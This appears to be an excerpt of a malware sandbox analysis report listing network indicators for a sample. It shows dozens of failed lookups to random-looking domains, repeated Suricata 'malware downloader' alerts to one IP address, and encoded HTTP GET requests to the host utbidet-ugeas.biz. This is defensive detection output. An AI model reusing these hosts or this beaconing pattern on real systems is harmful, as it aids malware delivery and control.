Source: unknown	DNS traffic detected: query: yhhsuyuy.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: nwkget.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: psqsu.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: yvjdkgsysukuu.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: cqculefd.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qrolyncbcne.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: odkfeza.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pbauwvnqjx.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: cyzgfig.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gflaeo.museum replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: auwzkkx.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: cddgtme.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: euuom.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: sdcouzk.pw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: aupdmfk.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: xioywow.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mbcdtw.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: cihjjqcky.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pzixa.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: kmscwgsaeau.pw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qoqyiwfwz.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lqymiuillfonv.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: yekuwiroci.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: yriaocg.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: iooeygtl.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: yumaq.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: dovrmtcu.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: vcuuf.pw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ooossqwuu.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: sawngoffacq.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: rsyjwi.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gvletfndkecak.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ywlgopsbq.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mwnaobzwzsh.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: avfqcqwcybf.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: xsowjeify.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: atsedkagi.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lkaqbviwa.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qqnuf.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: rmyyrqzoyqrzn.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: weyisuolokmpk.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: eiajkkoojsibc.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: xrgdxigaokqnk.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: eigqttiycrc.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: wwryileukoz.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: peogwkjqii.museum replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ycgaqse.museum replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: yoygpqq.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ngugovowmolzc.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: uiwvomwyls.pw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: fkjikj.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: wciiwo.museum replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: jumjc.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: elqqtgiuyassad.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: svcoo.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ghnnkyyuee.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: iwkmeol.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: cmwwhy.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: eywpeln.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: fkejlam.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: zgmwgrhyiyo.pw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: toeaskhykeip.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ljsgjmawffh.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ymhkiogycuk.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: aawwbcseutmfcl.museum replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: txdgkqn.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: htqweutnwe.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: oyimlslily.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: yeqfyjxbrebva.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: yggwuumeqkm.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: oynkjxai.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: uyyyjjyhdka.pw replaycode: Name error (3)

Source: unknown

Network traffic detected: DNS query count 616

Source: global traffic

DNS traffic detected: number of DNS queries: 616

Source: Joe Sandbox View	IP Address: 64.70.19.203 64.70.19.203
Source: Joe Sandbox View	IP Address: 172.234.222.143 172.234.222.143

Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.7:49701 -> 172.234.222.143:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.7:49736 -> 172.234.222.143:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.7:49718 -> 172.234.222.143:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.7:49730 -> 172.234.222.143:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.7:49707 -> 172.234.222.143:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.7:49704 -> 172.234.222.143:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.7:49710 -> 172.234.222.143:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.7:49733 -> 172.234.222.143:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.7:49767 -> 172.234.222.143:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.7:49721 -> 172.234.222.143:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.7:49754 -> 172.234.222.143:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.7:49724 -> 172.234.222.143:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.7:49742 -> 172.234.222.143:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.7:49748 -> 172.234.222.143:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.7:49757 -> 172.234.222.143:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.7:55212 -> 172.234.222.143:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.7:55227 -> 172.234.222.143:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.7:49727 -> 172.234.222.143:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.7:49791 -> 172.234.222.143:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.7:49788 -> 172.234.222.143:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.7:49770 -> 172.234.222.143:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.7:55239 -> 172.234.222.143:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.7:49739 -> 172.234.222.143:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.7:49782 -> 172.234.222.143:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.7:49751 -> 172.234.222.143:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.7:55215 -> 172.234.222.143:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.7:55230 -> 172.234.222.143:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.7:55257 -> 172.234.222.143:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.7:49779 -> 172.234.222.143:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.7:55248 -> 172.234.222.143:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.7:49785 -> 172.234.222.143:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.7:49761 -> 172.234.222.143:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.7:55236 -> 172.234.222.143:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.7:55266 -> 172.234.222.143:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.7:49773 -> 172.234.222.143:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.7:55254 -> 172.234.222.143:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.7:49745 -> 172.234.222.143:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.7:49764 -> 172.234.222.143:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.7:49776 -> 172.234.222.143:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.7:55260 -> 172.234.222.143:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.7:55221 -> 172.234.222.143:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.7:55263 -> 172.234.222.143:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.7:49794 -> 172.234.222.143:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.7:55245 -> 172.234.222.143:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.7:55242 -> 172.234.222.143:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.7:55233 -> 172.234.222.143:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.7:49797 -> 172.234.222.143:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.7:55218 -> 172.234.222.143:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.7:55269 -> 172.234.222.143:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.7:55224 -> 172.234.222.143:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.7:55251 -> 172.234.222.143:80

Source: global traffic	HTTP traffic detected: GET /d/N?0250612A1650612A16616106165061888C9247B6105161EABE52661C38624F132460510416 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?0250612A1650612A16616106165061888C9247B6105161EABE52661C38624F132460510416 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?0252B80FE152B80FE163B823E152B8AD7B909E93E753B8CF4950BF39CF609636D3628821E1 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?0252B80FE152B80FE163B823E152B8AD7B909E93E753B8CF4950BF39CF609636D3628821E1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02B2732C35B2732C3583730035B2738EAF7055B033B373EC9DB0741A1B805D150782430235 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02B2732C35B2732C3583730035B2738EAF7055B033B373EC9DB0741A1B805D150782430235 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?027A09BD9E7A09BD9E4B09919E7A091F04B82F21987B097D36780E8BB0482784AC4A39939E HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?027A09BD9E7A09BD9E4B09919E7A091F04B82F21987B097D36780E8BB0482784AC4A39939E HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?020F7B06800F7B06803E7B2A800F7BA41ACD5D9A860E7BC6280D7C30AE3D553FB23F4B2880 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?020F7B06800F7B06803E7B2A800F7BA41ACD5D9A860E7BC6280D7C30AE3D553FB23F4B2880 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02C674C103C674C103F774ED03C674639904525D05C77401ABC473F72DF45AF831F644EF03 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02C674C103C674C103F774ED03C674639904525D05C77401ABC473F72DF45AF831F644EF03 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?0246D35DB846D35DB877D371B846D3FF2284F5C1BE47D39D1044D46B9674FD648A76E373B8 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?0246D35DB846D35DB877D371B846D3FF2284F5C1BE47D39D1044D46B9674FD648A76E373B8 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02B266BAD2B266BAD2836696D2B2661848704026D4B3667A7AB0618CFC804883E0825694D2 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02B266BAD2B266BAD2836696D2B2661848704026D4B3667A7AB0618CFC804883E0825694D2 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?0287C653F987C653F9B6C67FF987C6F16345E0CFFF86C6935185C165D7B5E86ACBB7F67DF9 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?0287C653F987C653F9B6C67FF987C6F16345E0CFFF86C6935185C165D7B5E86ACBB7F67DF9 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02C6FAE582C6FAE582F7FAC982C6FA471804DC7984C7FA252AC4FDD3ACF4D4DCB0F6CACB82 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02C6FAE582C6FAE582F7FAC982C6FA471804DC7984C7FA252AC4FDD3ACF4D4DCB0F6CACB82 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02B2DB5628B2DB562883DB7A28B2DBF4B270FDCA2EB3DB9680B0DC600680F56F1A82EB7828 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02B2DB5628B2DB562883DB7A28B2DBF4B270FDCA2EB3DB9680B0DC600680F56F1A82EB7828 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02A80F1563A80F1563990F3963A80FB7F96A298965A90FD5CBAA08234D9A212C51983F3B63 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02A80F1563A80F1563990F3963A80FB7F96A298965A90FD5CBAA08234D9A212C51983F3B63 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?029CFCB2829CFCB282ADFC9E829CFC10185EDA2E849DFC722A9EFB84ACAED28BB0ACCC9C82 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?029CFCB2829CFCB282ADFC9E829CFC10185EDA2E849DFC722A9EFB84ACAED28BB0ACCC9C82 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?020A10E96D0A10E96D3B10C56D0A104BF7C836756B0B1029C50817DF43383ED05F3A20C76D HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?020A10E96D0A10E96D3B10C56D0A104BF7C836756B0B1029C50817DF43383ED05F3A20C76D HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?022E1237F22E1237F21F121BF22E129568EC34ABF42F12F75A2C1501DC1C3C0EC01E2219F2 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?022E1237F22E1237F21F121BF22E129568EC34ABF42F12F75A2C1501DC1C3C0EC01E2219F2 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02B26BFB78B26BFB78836BD778B26B59E2704D677EB36B3BD0B06CCD568045C24A825BD578 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02B26BFB78B26BFB78836BD778B26B59E2704D677EB36B3BD0B06CCD568045C24A825BD578 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02D069737AD069737AE1695F7AD069D1E0124FEF7CD169B3D2D26E4554E2474A48E0595D7A HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02D069737AD069737AE1695F7AD069D1E0124FEF7CD169B3D2D26E4554E2474A48E0595D7A HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?0230CF84B230CF84B201CFA8B230CF2628F2E918B431CF441A32C8B29C02E1BD8000FFAAB2 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?0230CF84B230CF84B201CFA8B230CF2628F2E918B431CF441A32C8B29C02E1BD8000FFAAB2 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?029C5A06C29C5A06C2AD5A2AC29C5AA4585E7C9AC49D5AC66A9E5D30ECAE743FF0AC6A28C2 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?029C5A06C29C5A06C2AD5A2AC29C5AA4585E7C9AC49D5AC66A9E5D30ECAE743FF0AC6A28C2 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02F3ED33FBF3ED33FBC2ED1FFBF3ED916131CBAFFDF2EDF353F1EA05D5C1C30AC9C3DD1DFB HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02F3ED33FBF3ED33FBC2ED1FFBF3ED916131CBAFFDF2EDF353F1EA05D5C1C30AC9C3DD1DFB HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02C33B546EC33B546EF23B786EC33BF6F4011DC868C23B94C6C13C6240F1156D5CF30B7A6E HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02C33B546EC33B546EF23B786EC33BF6F4011DC868C23B94C6C13C6240F1156D5CF30B7A6E HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?0216B3BEE316B3BEE327B392E316B31C79D49522E517B37E4B14B488CD249D87D1268390E3 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?0216B3BEE316B3BEE327B392E316B31C79D49522E517B37E4B14B488CD249D87D1268390E3 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?029428475294284752A5286B529428E5C8560EDB54952887FA962F717CA6067E60A4186952 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?029428475294284752A5286B529428E5C8560EDB54952887FA962F717CA6067E60A4186952 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?023F5ADE873F5ADE870E5AF2873F5A7C1DFD7C42813E5A1E2F3D5DE8A90D74E7B50F6AF087 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?023F5ADE873F5ADE870E5AF2873F5A7C1DFD7C42813E5A1E2F3D5DE8A90D74E7B50F6AF087 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02636B9C86636B9C86526BB086636B3E1CA14D0080626B5C2E616CAAA85145A5B4535BB286 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02636B9C86636B9C86526BB086636B3E1CA14D0080626B5C2E616CAAA85145A5B4535BB286 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?0222311BC222311BC2133137C22231B958E01787C42331DB6A20362DEC101F22F0120135C2 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?0222311BC222311BC2133137C22231B958E01787C42331DB6A20362DEC101F22F0120135C2 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02923CBB35923CBB35A33C9735923C19AF501A2733933C7B9D903B8D1BA0128207A20C9535 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02923CBB35923CBB35A33C9735923C19AF501A2733933C7B9D903B8D1BA0128207A20C9535 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02ECCDBF0DECCDBF0DDDCD930DECCD1D972EEB230BEDCD7FA5EECA8923DEE3863FDCFD910D HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02ECCDBF0DECCDBF0DDDCD930DECCD1D972EEB230BEDCD7FA5EECA8923DEE3863FDCFD910D HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?023F0116D33F0116D30E013AD33F01B449FD278AD53E01D67B3D0620FD0D2F2FE10F3138D3 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
